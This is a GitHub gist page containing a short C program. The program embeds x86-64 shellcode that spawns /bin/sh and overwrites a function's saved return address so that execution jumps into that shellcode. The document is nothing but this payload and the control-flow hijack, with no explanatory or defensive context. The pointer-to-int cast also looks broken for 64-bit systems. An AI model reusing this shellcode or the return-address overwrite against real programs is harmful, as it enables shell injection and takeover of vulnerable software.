Skip to content

Instantly share code, notes, and snippets.

@nullren
Created February 26, 2012 07:27
Show Gist options
  • Save nullren/1914715 to your computer and use it in GitHub Desktop.
Save nullren/1914715 to your computer and use it in GitHub Desktop.
shell code
const char shellcode[] =
"\xeb\x1dYH1\xd2H\x8b\x19RSH\x89\xe7RWH\x89\xe6H\xc7\xc0\xc4\xff\xff\xffH\xf7\xd0\x0f\x05\xe8\xde\xff\xff\xff/bin/sh";
int wtf() {
int *ret;
ret = (int *)(&ret + 2);
(*ret) = (int)shellcode;
return 0;
}
int main(){
wtf();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment